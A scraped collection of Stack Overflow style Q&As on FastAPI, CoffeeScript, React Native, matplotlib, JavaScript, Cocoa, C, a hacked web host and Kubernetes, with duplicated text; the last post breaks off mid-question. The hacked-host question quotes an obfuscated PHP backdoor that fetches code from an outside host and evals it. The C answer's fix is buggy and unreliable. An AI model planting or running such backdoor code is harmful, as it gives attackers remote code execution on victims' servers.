问:
FastAPI: Swagger UI does not render because of custom Middleware
So I have a custom middleware like this:

Its objective is to add some meta_data fields to every response from all endpoints of my FastAPI app.

@app.middelware("http")
async def add_metadata_to_response_payload(request: Request, call_next):

    response = await call_next(request)

    body = b""
    async for chunk in response.body_iterator:
        body+=chunk

    data = {}
    data["data"] = json.loads(body.decode())
    data["metadata"] = {
        "some_data_key_1": "some_data_value_1",
        "some_data_key_2": "some_data_value_2",
        "some_data_key_3": "some_data_value_3"
    }

    body = json.dumps(data, indent=2, default=str).encode("utf-8")

    return Response(
        content=body,
        status_code=response.status_code,
        media_type=response.media_type
    )

```
<p>However, when I served my app using uvicorn, and launched the swagger URL, here is what I see:</p>
```
Unable to render this definition

The provided definition does not specify a valid version field.

Please indicate a valid Swagger or OpenAPI version field. Supported version fields are
Swagger: "2.0" and those that match openapi: 3.0.n (for example, openapi: 3.0.0)

```
<p>With a lot of debugging, I found that this error was due to the custom middleware and specifically this line:</p>
<pre class="lang-py prettyprint-override"><code>body = json.dumps(data, indent=2, default=str).encode("utf-8")
</code>```

If I simply comment out this line, swagger renders just fine for me. However, I need this line for passing the content argument in Response from Middleware. How to sort this out?

UPDATE:

I tried the following:
body = json.dumps(data, indent=2).encode("utf-8")
by removing default arg, the swagger did successfully load. But now when I hit any of the APIs, here is what swagger tells me along with response payload on screen:
Unrecognised response type; displaying content as text

More Updates (6th April 2022):

Got a solution to fix 1 part of the problem by Chris, but the swagger wasn't still loading. The code was hung up in the middleware level indefinitely and the page was not still loading.

So, I found in all these places:

https://github.com/encode/starlette/issues/919

Blocked code while using middleware and dependency injections to log requests in FastAPI(Python)

https://github.com/tiangolo/fastapi/issues/394

that this way of adding custom middleware works by inheriting from BaseHTTPMiddleware in Starlette and has its own issues (something to do with awaiting inside middleware, streamingresponse and normal response, and the way it is called). I don't understand it yet.

答:
Here's how you could do that (inspired by this). Make sure to check the Content-Type of the response (as shown below), so that you can modify it by adding the metadata, only if it is of application/json type.

For the OpenAPI (Swagger UI) to render (both /docs and /redoc), make sure to check whether openapi key is not present in the response, so that you can proceed modifying the response only in that case. If you happen to have a key with such a name in your response data, then you could have additional checks using further keys that are present in the response for the OpenAPI, e.g., info, version, paths, and, if needed, you can check against their values too.

from fastapi import FastAPI, Request, Response
import json

app = FastAPI()

@app.middleware("http")
async def add_metadata_to_response_payload(request: Request, call_next):
    response = await call_next(request)
    content_type = response.headers.get('Content-Type')
    if content_type == "application/json":
        response_body = [section async for section in response.body_iterator]
        resp_str = response_body[0].decode()  # converts "response_body" bytes into string
        resp_dict = json.loads(resp_str)  # converts resp_str into dict
        #print(resp_dict)
        if "openapi" not in resp_dict:
            data = {}
            data["data"] = resp_dict  # adds the "resp_dict" to the "data" dictionary
            data["metadata"] = {
                "some_data_key_1": "some_data_value_1",
                "some_data_key_2": "some_data_value_2",
                "some_data_key_3": "some_data_value_3"}
            resp_str = json.dumps(data, indent=2)  # converts dict into JSON string

        return Response(content=resp_str, status_code=response.status_code, media_type=response.media_type)

    return response

@app.get("/")
def foo(request: Request):
    return {"hello": "world!"}
```
<h2>Update 1</h2>
<p>Alternatively, a likely better approach would be to check for the request's url path at the start of the middleware function (against a pre-defined list of paths/routes that you would like to add metadata to their responses), and proceed accordingly. Example is given below.</p>
<pre class="lang-py prettyprint-override"><code>from fastapi import FastAPI, Request, Response, Query
from pydantic import constr
from fastapi.responses import JSONResponse
import re
import uvicorn
import json

app = FastAPI()
routes_with_middleware = ["/"]
rx = re.compile(r'^(/items/\d+|/courses/[a-zA-Z0-9]+)$')  # support routes with path parameters
my_constr = constr(regex="^[a-zA-Z0-9]+$")

@app.middleware("http")
async def add_metadata_to_response_payload(request: Request, call_next):
    response = await call_next(request)
    if request.url.path not in routes_with_middleware and not rx.match(request.url.path):
        return response
    else:
        content_type = response.headers.get('Content-Type')
        if content_type == "application/json":
            response_body = [section async for section in response.body_iterator]
            resp_str = response_body[0].decode()  # converts "response_body" bytes into string
            resp_dict = json.loads(resp_str)  # converts resp_str into dict
            data = {}
            data["data"] = resp_dict  # adds "resp_dict" to the "data" dictionary
            data["metadata"] = {
                "some_data_key_1": "some_data_value_1",
                "some_data_key_2": "some_data_value_2",
                "some_data_key_3": "some_data_value_3"}
            resp_str = json.dumps(data, indent=2)  # converts dict into JSON string
            return Response(content=resp_str, status_code=response.status_code, media_type="application/json")

    return response

@app.get("/")
def root():
    return {"hello": "world!"}

@app.get("/items/{id}")
def get_item(id: int):
    return {"Item": id}

@app.get("/courses/{code}")
def get_course(code: my_constr):
    return {"course_code": code, "course_title": "Deep Learning"}
</code>```

Update 2

Another solution would be to use a custom APIRoute class, as demonstrated here and here, which would allow you to apply the changes on the response body only to routes that you specify—which would solve the issue with Swaager UI in a more easy way.

You could still use the middleware option if you wish, but instead of adding the middleware to the main app, you could add it to a sub application—as shown in this answer and this answer—that includes again only the routes for which you need to modify the response in order to add some additional data in the body.

Body:
So I have a custom middleware like this:

Its objective is to add some meta_data fields to every response from all endpoints of my FastAPI app.

@app.middelware("http")
async def add_metadata_to_response_payload(request: Request, call_next):

    response = await call_next(request)

    body = b""
    async for chunk in response.body_iterator:
        body+=chunk

    data = {}
    data["data"] = json.loads(body.decode())
    data["metadata"] = {
        "some_data_key_1": "some_data_value_1",
        "some_data_key_2": "some_data_value_2",
        "some_data_key_3": "some_data_value_3"
    }

    body = json.dumps(data, indent=2, default=str).encode("utf-8")

    return Response(
        content=body,
        status_code=response.status_code,
        media_type=response.media_type
    )

However, when I served my app using uvicorn, and launched the swagger URL, here is what I see:

Unable to render this definition

The provided definition does not specify a valid version field.

Please indicate a valid Swagger or OpenAPI version field. Supported version fields are
Swagger: "2.0" and those that match openapi: 3.0.n (for example, openapi: 3.0.0)

With a lot of debugging, I found that this error was due to the custom middleware and specifically this line:

body = json.dumps(data, indent=2, default=str).encode("utf-8")

If I simply comment out this line, swagger renders just fine for me. However, I need this line for passing the content argument in Response from Middleware. How to sort this out?

UPDATE:

I tried the following:
body = json.dumps(data, indent=2).encode("utf-8")
by removing default arg, the swagger did successfully load. But now when I hit any of the APIs, here is what swagger tells me along with response payload on screen:
Unrecognised response type; displaying content as text

More Updates (6th April 2022):

Got a solution to fix 1 part of the problem by Chris, but the swagger wasn't still loading. The code was hung up in the middleware level indefinitely and the page was not still loading.

So, I found in all these places:

https://github.com/encode/starlette/issues/919

Blocked code while using middleware and dependency injections to log requests in FastAPI(Python)

https://github.com/tiangolo/fastapi/issues/394

that this way of adding custom middleware works by inheriting from BaseHTTPMiddleware in Starlette and has its own issues (something to do with awaiting inside middleware, streamingresponse and normal response, and the way it is called). I don't understand it yet.

Body:
Here's how you could do that (inspired by this). Make sure to check the Content-Type of the response (as shown below), so that you can modify it by adding the metadata, only if it is of application/json type.

For the OpenAPI (Swagger UI) to render (both /docs and /redoc), make sure to check whether openapi key is not present in the response, so that you can proceed modifying the response only in that case. If you happen to have a key with such a name in your response data, then you could have additional checks using further keys that are present in the response for the OpenAPI, e.g., info, version, paths, and, if needed, you can check against their values too.

from fastapi import FastAPI, Request, Response
import json

app = FastAPI()

@app.middleware("http")
async def add_metadata_to_response_payload(request: Request, call_next):
    response = await call_next(request)
    content_type = response.headers.get('Content-Type')
    if content_type == "application/json":
        response_body = [section async for section in response.body_iterator]
        resp_str = response_body[0].decode()  # converts "response_body" bytes into string
        resp_dict = json.loads(resp_str)  # converts resp_str into dict
        #print(resp_dict)
        if "openapi" not in resp_dict:
            data = {}
            data["data"] = resp_dict  # adds the "resp_dict" to the "data" dictionary
            data["metadata"] = {
                "some_data_key_1": "some_data_value_1",
                "some_data_key_2": "some_data_value_2",
                "some_data_key_3": "some_data_value_3"}
            resp_str = json.dumps(data, indent=2)  # converts dict into JSON string

        return Response(content=resp_str, status_code=response.status_code, media_type=response.media_type)

    return response

@app.get("/")
def foo(request: Request):
    return {"hello": "world!"}

Update 1

Alternatively, a likely better approach would be to check for the request's url path at the start of the middleware function (against a pre-defined list of paths/routes that you would like to add metadata to their responses), and proceed accordingly. Example is given below.

from fastapi import FastAPI, Request, Response, Query
from pydantic import constr
from fastapi.responses import JSONResponse
import re
import uvicorn
import json

app = FastAPI()
routes_with_middleware = ["/"]
rx = re.compile(r'^(/items/\d+|/courses/[a-zA-Z0-9]+)$')  # support routes with path parameters
my_constr = constr(regex="^[a-zA-Z0-9]+$")

@app.middleware("http")
async def add_metadata_to_response_payload(request: Request, call_next):
    response = await call_next(request)
    if request.url.path not in routes_with_middleware and not rx.match(request.url.path):
        return response
    else:
        content_type = response.headers.get('Content-Type')
        if content_type == "application/json":
            response_body = [section async for section in response.body_iterator]
            resp_str = response_body[0].decode()  # converts "response_body" bytes into string
            resp_dict = json.loads(resp_str)  # converts resp_str into dict
            data = {}
            data["data"] = resp_dict  # adds "resp_dict" to the "data" dictionary
            data["metadata"] = {
                "some_data_key_1": "some_data_value_1",
                "some_data_key_2": "some_data_value_2",
                "some_data_key_3": "some_data_value_3"}
            resp_str = json.dumps(data, indent=2)  # converts dict into JSON string
            return Response(content=resp_str, status_code=response.status_code, media_type="application/json")

    return response

@app.get("/")
def root():
    return {"hello": "world!"}

@app.get("/items/{id}")
def get_item(id: int):
    return {"Item": id}

@app.get("/courses/{code}")
def get_course(code: my_constr):
    return {"course_code": code, "course_title": "Deep Learning"}

Update 2

Another solution would be to use a custom APIRoute class, as demonstrated here and here, which would allow you to apply the changes on the response body only to routes that you specify—which would solve the issue with Swaager UI in a more easy way.

You could still use the middleware option if you wish, but instead of adding the middleware to the main app, you could add it to a sub application—as shown in this answer and this answer—that includes again only the routes for which you need to modify the response in order to add some additional data in the body.


来源: stackexchange

问:
Backbone.js setTimeout() loop in CoffeeScript
Seems like every way I try this, it throws some sort of error.  Here's what my code looks like now:

```<code>runShow: ->
  moments = @model.get('moment_stack_items')
  if inc == moments.length
    inc = 1
    pre = 0
  $("#" + moments[pre].uid).hide("slide", { direction: "left" }, 1000)
  $("#" + moments[inc].uid).show("slide", { direction: "right" }, 1000)

  inc += 1
  pre += 1

  console.log "looping" + inc
  t = setTimeout(this.runShow(),2000);
</code>```

I call the function in my events.
I have inc = 1 and pre = 0 defined outside the Backbone.View.. My current error is "Uncaught TypeError: Object [object DOMWindow] has no method 'runShow'"

BONUS POINTS: how can I reference t from another function (to run my clearTimeout(t))?

答:
You ask the setTimeout function to evaluate "this.runShow()", and setTimeout will do that in the context of window. This means that this is the window object when this code is evaluated.

To avoid this you can create a function and bind it to a the current context, so that everytime the function is called, this is the same as when the function has been created.

In coffee script you can do this with the =>:

```<code>func = =>
    this.runShow()

setTimeout(func, 2000)
</code>```

Or on a single line:

```<code>setTimeout((=> this.runShow()), 2000)
</code>```

how can I reference t from another function?

Make t a property of your object:

```<code>class Something
    t: null
    runShow: ->
       ...
       this.t = ...
    otherFunction: ->
       t = this.t
</code>```

ContentLicense: CC BY-SA 3.0

Body:
Seems like every way I try this, it throws some sort of error.  Here's what my code looks like now:

runShow: ->
  moments = @model.get('moment_stack_items')
  if inc == moments.length
    inc = 1
    pre = 0
  $("#" + moments[pre].uid).hide("slide", { direction: "left" }, 1000)
  $("#" + moments[inc].uid).show("slide", { direction: "right" }, 1000)

  inc += 1
  pre += 1

  console.log "looping" + inc
  t = setTimeout(this.runShow(),2000);

I call the function in my events.
I have inc = 1 and pre = 0 defined outside the Backbone.View.. My current error is "Uncaught TypeError: Object [object DOMWindow] has no method 'runShow'"

BONUS POINTS: how can I reference t from another function (to run my clearTimeout(t))?

Body:
You ask the setTimeout function to evaluate "this.runShow()", and setTimeout will do that in the context of window. This means that this is the window object when this code is evaluated.

To avoid this you can create a function and bind it to a the current context, so that everytime the function is called, this is the same as when the function has been created.

In coffee script you can do this with the =>:

func = =>
    this.runShow()

setTimeout(func, 2000)

Or on a single line:

setTimeout((=> this.runShow()), 2000)

how can I reference t from another function?

Make t a property of your object:

class Something
    t: null
    runShow: ->
       ...
       this.t = ...
    otherFunction: ->
       t = this.t


问:
Working with multiple stylesheet links in react Native Expo
this is Antika. I have started learning to code since a few days back, and am only familiar with HTML/CSS/JS, and basics of React

Developer Level: Beginner
Project type & language: I am developing a Study planner app for myself, using React Native Expo.

Problem - I have mostly done my programming in traditional ways - HTML, CSS and JS. and have recently moved to advanced languages like React and flutter. How do I Import a list of multiple stylesheets, Like we do in HTML, in react native projects

THESE ARE THE INDIVIDUAL CSS FILES-

    <link rel="stylesheet" href="assets/css/vendor/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/vendor/font-awesome.css">
    <link rel="stylesheet" href="assets/css/vendor/slick.css">
    <link rel="stylesheet" href="assets/css/vendor/slick-theme.css">
    <link rel="stylesheet" href="assets/css/vendor/base.css">
    <link rel="stylesheet" href="assets/css/plugins/plugins.css">
    <link rel="stylesheet" href="assets/css/style.css">

```

I am using Expo for this project.

I am still a newbie in React Native and Expo, and still learning about the different features and possible syntax. And I can use any help I get.

答:
Its better to think of styling in react native as a different animal than css. Sort of similar syntax, but different values (mostly), and a bit different way of using them.

In your example you are importing all styles to be used globally, any html can now use those styles.

In react, it's more common to grab what you need when you need it.

For example, if I want to have a style that turns text red I could have a file like

```<code>//myStyles.js
export const MyStyles = StyleSheet.create({
  redText: {
    color: 'red',
  },
});
</code>```

And then in any file you want to use redText

```<code>import {MyStyles} from "/path/to/myStyles"

//...other code
<Text style={MyStyles.redText}>this is red </Text>
//... other code

</code>```

ContentLicense: CC BY-SA 4.0

Body:
this is Antika. I have started learning to code since a few days back, and am only familiar with HTML/CSS/JS, and basics of React

Developer Level: Beginner
Project type & language: I am developing a Study planner app for myself, using React Native Expo.

Problem - I have mostly done my programming in traditional ways - HTML, CSS and JS. and have recently moved to advanced languages like React and flutter. How do I Import a list of multiple stylesheets, Like we do in HTML, in react native projects

THESE ARE THE INDIVIDUAL CSS FILES-

    <link rel="stylesheet" href="assets/css/vendor/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/vendor/font-awesome.css">
    <link rel="stylesheet" href="assets/css/vendor/slick.css">
    <link rel="stylesheet" href="assets/css/vendor/slick-theme.css">
    <link rel="stylesheet" href="assets/css/vendor/base.css">
    <link rel="stylesheet" href="assets/css/plugins/plugins.css">
    <link rel="stylesheet" href="assets/css/style.css">

I am using Expo for this project.

I am still a newbie in React Native and Expo, and still learning about the different features and possible syntax. And I can use any help I get.

Body:
Its better to think of styling in react native as a different animal than css. Sort of similar syntax, but different values (mostly), and a bit different way of using them.

In your example you are importing all styles to be used globally, any html can now use those styles.

In react, it's more common to grab what you need when you need it.

For example, if I want to have a style that turns text red I could have a file like

//myStyles.js
export const MyStyles = StyleSheet.create({
  redText: {
    color: 'red',
  },
});

And then in any file you want to use redText

import {MyStyles} from "/path/to/myStyles"

//...other code
<Text style={MyStyles.redText}>this is red </Text>
//... other code


问:
Python matplotlib syntax, comma before equals sign
I am reading over some example code for matplotlib and I came across something I was not understanding. In line 8, what is the purpose of the comma after the word "line"?</p>
```<code>from pylab import *
import time

ion()

tstart = time.time()               # for profiling
x = arange(0,2*pi,0.01)            # x-array
line, = plot(x,sin(x))
for i in arange(1,200):
    line.set_ydata(sin(x+i/10.0))  # update the data
    draw()                         # redraw the canvas

print ('FPS:' , 200/(time.time()-tstart))
</code>```

答:
It is for unpacking only the first element of a multiple-element tuple.

In this example, plot() returns a single-element tuple and if you saved it directly into line by using line = plot(...), your variable line would have the whole tuple with one element.

Instead, by doing line, = plot(...), the element itself is being "extracted" and saved into line instead of the entire tuple.

Here are some more examples.

Body:
I am reading over some example code for matplotlib and I came across something I was not understanding. In line 8, what is the purpose of the comma after the word "line"?

from pylab import *
import time

ion()

tstart = time.time()               # for profiling
x = arange(0,2*pi,0.01)            # x-array
line, = plot(x,sin(x))
for i in arange(1,200):
    line.set_ydata(sin(x+i/10.0))  # update the data
    draw()                         # redraw the canvas

print ('FPS:' , 200/(time.time()-tstart))


答:
Here is my take on it:

const input = [1,2,[4,5,6],7,8,[9,0],11,12];

const convert = arr=>{
  let n=0;
  return arr.reduce((a,c,i)=>{
    if (Array.isArray(c)) a["array"+(++n)]=convert(c);
    else                  a[c]=c;
    return a}, {})
 }
 console.log( convert(input) );```

Title: nested array to object javascript

Body:
convert to object

[1, 2, [4, 5, 6], 7, 8, [9, 0], 11, 12]

Output want

{
  1: 1,
  2: 2,
  'array1': {
    4: 4,
    5: 5,
    6: 6
  },
  7: 7,
  8: 8,
  'array2': {
    9: 9,
    0: 0
  },
  11: 11,
  12: 12
}

but output get {
1: 1,
11: 11,
12: 12,
2: 2,
7: 7,
8: 8
}

my code

input = [1,2,[4,5,6],7,8,[9,0],11,12];
obj = {}

const convert = (arr) =>{
for (i = 0; i < arr.length; i++){
    if(!Array.isArray(arr[i])){
        obj[arr[i]] = arr[i];
    }

 }}
    convert(input);
    console.log(obj);


问:
Get the type of a file in Cocoa
I succeeded to find the extended file type of a specified file ( JPEG image, TIFF Image, ...) but I am looking for something more generic that can categorize files in "big cathegories" like images, moovies, text files, ...
It there a way to acheive this in cocoa (or objective-c) ?

Thanks for your help,

答:
```<code>[[NSWorkspace sharedWorkspace] typeOfFile:pathToFile error:nil]
</code>```

Title: Get the type of a file in Cocoa


问:
why does the program exit without taking any input?
I am trying to write a code to find the lowest grade among 10 quizzes and calculate the final grade of quiz, midterm and final exam.

This is the code. When i run it, it just says program finished with exit code 0.

```<code>
#include <stdio.h>
#include <math.h>
int main(void)
{
    int i, quiz[i], min, QUIZ, final_grade;
    double MID, FINAL;

    /*loop store quiz grades*/
    for (i=1; i<=10; ++i)
    {
        printf ("Enter quiz%d grade:", i);
        scanf ("%d", &quiz[i]);
    }

    /*store midterm and final value*/
    printf ("Enter midterm grade:");
    scanf ("%lf", &MID);
    printf ("Enter final exam grade:");
    scanf ("%lf", &FINAL);

    /*find sum of quiz score*/
    QUIZ=0;

    for (i=1; i<=10; ++i)
    {
        QUIZ += quiz[i];
    }
    printf ("%d",QUIZ);

    /*find min quiz score*/
    for (i=1; i<=10; ++i)
    {
        min=quiz[1];
        if (quiz[i]<min);
            min=quiz[i];
    }
    printf ("\n%d",min);

    /*calculate quiz pecent score*/
    QUIZ = 2.5*(QUIZ-min)/9;
    printf ("\n%d",QUIZ);

    /*calculate final grade*/
    if (MID>=FINAL)
    {
        final_grade=MID*.35+FINAL*.4+QUIZ;
    }
    else
    {
        final_grade=MID*.25+FINAL*.5+QUIZ;
    }
    printf ("\nThe final grade is:%d", final_grade);

    return 0;
}
</code>```

It works fine in this part

```<code>{
    int i, quiz[i];
    /*loop store quiz grades*/
    for (i=1; i<=10; ++i)
    {
        printf ("Enter quiz%d grade:", i);
        scanf ("%d", &quiz[i]);
    }
    int min;
    min=1;
    /*find min quiz grade*/
    if (quiz[i]<quiz[min])
        {
            min=i;
        }
    quiz[min]=0;
    printf ("%d", quiz[min]);

    return (0);
}
</code>```

But when I add more work to the program it doesnt take input anymore.

答:
use the intialization with 0

```<code>int i = 0
</code>```

then start the loop with i = 0 as well

```<code>for(i = 0 ; i <= 10 ; ++i)
</code>```

And everything should be good to go

Body:
I am trying to write a code to find the lowest grade among 10 quizzes and calculate the final grade of quiz, midterm and final exam.

This is the code. When i run it, it just says program finished with exit code 0.

#include <stdio.h>
#include <math.h>
int main(void)
{
    int i, quiz[i], min, QUIZ, final_grade;
    double MID, FINAL;

    /*loop store quiz grades*/
    for (i=1; i<=10; ++i)
    {
        printf ("Enter quiz%d grade:", i);
        scanf ("%d", &quiz[i]);
    }

    /*store midterm and final value*/
    printf ("Enter midterm grade:");
    scanf ("%lf", &MID);
    printf ("Enter final exam grade:");
    scanf ("%lf", &FINAL);

    /*find sum of quiz score*/
    QUIZ=0;

    for (i=1; i<=10; ++i)
    {
        QUIZ += quiz[i];
    }
    printf ("%d",QUIZ);

    /*find min quiz score*/
    for (i=1; i<=10; ++i)
    {
        min=quiz[1];
        if (quiz[i]<min);
            min=quiz[i];
    }
    printf ("\n%d",min);

    /*calculate quiz pecent score*/
    QUIZ = 2.5*(QUIZ-min)/9;
    printf ("\n%d",QUIZ);

    /*calculate final grade*/
    if (MID>=FINAL)
    {
        final_grade=MID*.35+FINAL*.4+QUIZ;
    }
    else
    {
        final_grade=MID*.25+FINAL*.5+QUIZ;
    }
    printf ("\nThe final grade is:%d", final_grade);

    return 0;
}

It works fine in this part

{
    int i, quiz[i];
    /*loop store quiz grades*/
    for (i=1; i<=10; ++i)
    {
        printf ("Enter quiz%d grade:", i);
        scanf ("%d", &quiz[i]);
    }
    int min;
    min=1;
    /*find min quiz grade*/
    if (quiz[i]<quiz[min])
        {
            min=i;
        }
    quiz[min]=0;
    printf ("%d", quiz[min]);

    return (0);
}

But when I add more work to the program it doesnt take input anymore.

Body:
use the intialization with 0

int i = 0

then start the loop with i = 0 as well

for(i = 0 ; i <= 10 ; ++i)

And everything should be good to go


问:
.htaccess files are repeatedly being created in File Directory
I am having around 10 sites in a shared hosting. Recently I have noticed that there are so many .htaccess files have been created and restricting user access.

```<code><FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
</code>```

Above block is what is written in all code .htaccess. When I delete those, it appears to be regenerated again. meaning there should be a script running somewhere else in the package.I even installed Wordfence plugin to identify the updated files. I restored recent modifications which appeared to be malicious. but still no changes. There are also some encoded code lines in files like index.php which is below.

```<code><?php
 $uoeq967= "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";$vpna644='JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';$vpna645='zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';$vpna646='NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';$vpna647='lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';$vpna648='JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';$vpna643=$vpna644.$vpna645.$vpna646.$vpna647.$vpna648;function cdim173($fsxi199,$rykc638,$ekcu564){return ''.$fsxi199.''.$rykc638.''.$ekcu564.'';}$qfcg427 = cdim173($uoeq967{34},$uoeq967{13}.$uoeq967{3},$uoeq967{3});$uodu186 = cdim173($uoeq967{19}.$uoeq967{17},$uoeq967{2}.$uoeq967{7},'');$lrbk358 = cdim173($uoeq967{22},$uoeq967{19},$uoeq967{52});$hume205 = cdim173($uoeq967{17},'',$uoeq967{43});$xzdo850 = cdim173($uoeq967{34},$uoeq967{19},$uoeq967{13}.$uoeq967{22});$uqmy998 = cdim173($uoeq967{22},$uoeq967{13},$uoeq967{44});$aobc355 =cdim173(cdim173($qfcg427,'',$uodu186),cdim173($lrbk358,$hume205,''),cdim173($xzdo850,'',$uqmy998));$xggn756 = cdim173($uoeq967{34},$uoeq967{22},$uoeq967{7});$gnix510 = cdim173($uoeq967{13},$uoeq967{28},'');$wdfm884 = cdim173($uoeq967{7},'',$uoeq967{19});$loyh183 = cdim173($uoeq967{52},$uoeq967{17},$uoeq967{43});$bwfh819 = cdim173($uoeq967{34},$uoeq967{28},'');$jrmp133 = cdim173($uoeq967{42},$uoeq967{50},'');$iprf791 = cdim173('',$uoeq967{43},'');$hwks376 = cdim173( cdim173($xggn756,$gnix510,$wdfm884), cdim173($loyh183,'',$bwfh819), cdim173($jrmp133,'',$iprf791));$mtzu128 = cdim173($uoeq967{7},'',$uoeq967{39});$hesn342= cdim173($uoeq967{13},$uoeq967{3},$uoeq967{61});$taop807 = cdim173('',$uoeq967{16},$uoeq967{13});$gvcw064 = cdim173($uoeq967{2},$uoeq967{7},$uoeq967{20});$bihf178 = cdim173($uoeq967{8},$uoeq967{19},$uoeq967{56});$efaa907 = cdim173($uoeq967{7},$uoeq967{34},$uoeq967{50});$tvhp307 = cdim173($uoeq967{56},$uoeq967{7},$uoeq967{61});$qyff908 = cdim173(cdim173($mtzu128,$hesn342,''),cdim173('','',$taop807),cdim173($gvcw064,$bihf178.$efaa907,$tvhp307)).'"'.$vpna643.'"'.cdim173($uoeq967{1}.$uoeq967{1},'',$uoeq967{41});$aobc355($hwks376,array('','}'.$qyff908.'//'));//wp-blog-header scp-173?>
</code>```

I have no options to do other than deleting the .htaccess by each and every directory. but it won't solve the problem. What can I possibly do other than emptying my file manager.

答:
Well, the whole package was hacked. I was unable to do anything. Just as how others suggested I took 2 days to clear the auto generated files one by one. it was deleted and appeared the very next day. Some scripts were probably running at the back which creates the files. So the only solution is;

Contacting the hosting provider and ask them to totally clean the
directory, and start from scratch. OR

Contacting a web security analyst and pay them to clear it which
costs around 199 USD, least.

Yea, shit happens!

Body:
I am having around 10 sites in a shared hosting. Recently I have noticed that there are so many .htaccess files have been created and restricting user access.

<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>

Above block is what is written in all code .htaccess. When I delete those, it appears to be regenerated again. meaning there should be a script running somewhere else in the package.I even installed Wordfence plugin to identify the updated files. I restored recent modifications which appeared to be malicious. but still no changes. There are also some encoded code lines in files like index.php which is below.

<?php
 $uoeq967= "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";$vpna644='JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';$vpna645='zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';$vpna646='NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';$vpna647='lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';$vpna648='JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';$vpna643=$vpna644.$vpna645.$vpna646.$vpna647.$vpna648;function cdim173($fsxi199,$rykc638,$ekcu564){return ''.$fsxi199.''.$rykc638.''.$ekcu564.'';}$qfcg427 = cdim173($uoeq967{34},$uoeq967{13}.$uoeq967{3},$uoeq967{3});$uodu186 = cdim173($uoeq967{19}.$uoeq967{17},$uoeq967{2}.$uoeq967{7},'');$lrbk358 = cdim173($uoeq967{22},$uoeq967{19},$uoeq967{52});$hume205 = cdim173($uoeq967{17},'',$uoeq967{43});$xzdo850 = cdim173($uoeq967{34},$uoeq967{19},$uoeq967{13}.$uoeq967{22});$uqmy998 = cdim173($uoeq967{22},$uoeq967{13},$uoeq967{44});$aobc355 =cdim173(cdim173($qfcg427,'',$uodu186),cdim173($lrbk358,$hume205,''),cdim173($xzdo850,'',$uqmy998));$xggn756 = cdim173($uoeq967{34},$uoeq967{22},$uoeq967{7});$gnix510 = cdim173($uoeq967{13},$uoeq967{28},'');$wdfm884 = cdim173($uoeq967{7},'',$uoeq967{19});$loyh183 = cdim173($uoeq967{52},$uoeq967{17},$uoeq967{43});$bwfh819 = cdim173($uoeq967{34},$uoeq967{28},'');$jrmp133 = cdim173($uoeq967{42},$uoeq967{50},'');$iprf791 = cdim173('',$uoeq967{43},'');$hwks376 = cdim173( cdim173($xggn756,$gnix510,$wdfm884), cdim173($loyh183,'',$bwfh819), cdim173($jrmp133,'',$iprf791));$mtzu128 = cdim173($uoeq967{7},'',$uoeq967{39});$hesn342= cdim173($uoeq967{13},$uoeq967{3},$uoeq967{61});$taop807 = cdim173('',$uoeq967{16},$uoeq967{13});$gvcw064 = cdim173($uoeq967{2},$uoeq967{7},$uoeq967{20});$bihf178 = cdim173($uoeq967{8},$uoeq967{19},$uoeq967{56});$efaa907 = cdim173($uoeq967{7},$uoeq967{34},$uoeq967{50});$tvhp307 = cdim173($uoeq967{56},$uoeq967{7},$uoeq967{61});$qyff908 = cdim173(cdim173($mtzu128,$hesn342,''),cdim173('','',$taop807),cdim173($gvcw064,$bihf178.$efaa907,$tvhp307)).'"'.$vpna643.'"'.cdim173($uoeq967{1}.$uoeq967{1},'',$uoeq967{41});$aobc355($hwks376,array('','}'.$qyff908.'//'));//wp-blog-header scp-173?>

I have no options to do other than deleting the .htaccess by each and every directory. but it won't solve the problem. What can I possibly do other than emptying my file manager.


问:
Kubernetes Engine - Pod deployment not updating to the latest image
I’m following this tutorial for Google Cloud Platform: https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app . Basically I cloned the example hello-app project from Github both on Google Cloud (using Google cloud shell) and locally on my machine because I want to practise doing this tutorial, using both the cloud approach and my local machine (using Google Cloud SDK) - where I would then push the Docker image to the cloud, build and run it thereafter on Kubernetes.

1- My first, when I got to step 8, where I changed the source code string from “Hello, World” to “Hello, world! Version 2”, and string “Version: 1.0.0” to “Version: 2.0.0” in the Go file, basically the lines:

```<code>fmt.Fprintf(w, "Hello, world! Version 2\n")
fmt.Fprintf(w, "Version: 2.0.0\n")
</code>```

I realised that I changed the source code on my local machine (not the one on the cloud). I then went to the Google Cloud Shell in the Console, re-built a Docker image with v2 tag, then pushed it to the Google Container Registry (not realising that I’m building an image from the unchanged code project stored on the cloud, rather than the one from my local machine). When I applied a rolling update to the existing deployment with an image update using kubectl, not surprisingly, it didn’t work.
So basically to fix this, I need to build an image from the (changed) source code project on my local machine and push that image to the Google Container Registry (using Google Cloud SDK shell). That’s the theory (I’m assuming at least from my understanding). I created an image with exactly the same tag (i.e. v2), bearing in mind there’s already a v2 image (with the unchanged code) stored in the Container Registry, done from my previous step. I wondered if it would simply overwrite the existing image in the Container Registry, which it did (looking the Container Registry > Images section, I can see a v2 image with Update showing just a few seconds ago).
Now everything is set for the final step, which is apply a rolling update to the existing deployment with an image update:

```<code>kubectl set image deployment/hello-web hello-web=gcr.io/${PROJECT_ID}/hello-app:v2
</code>```

This was successful as I got the response:

```<code>deployment.extensions/hello-web image updated
</code>```

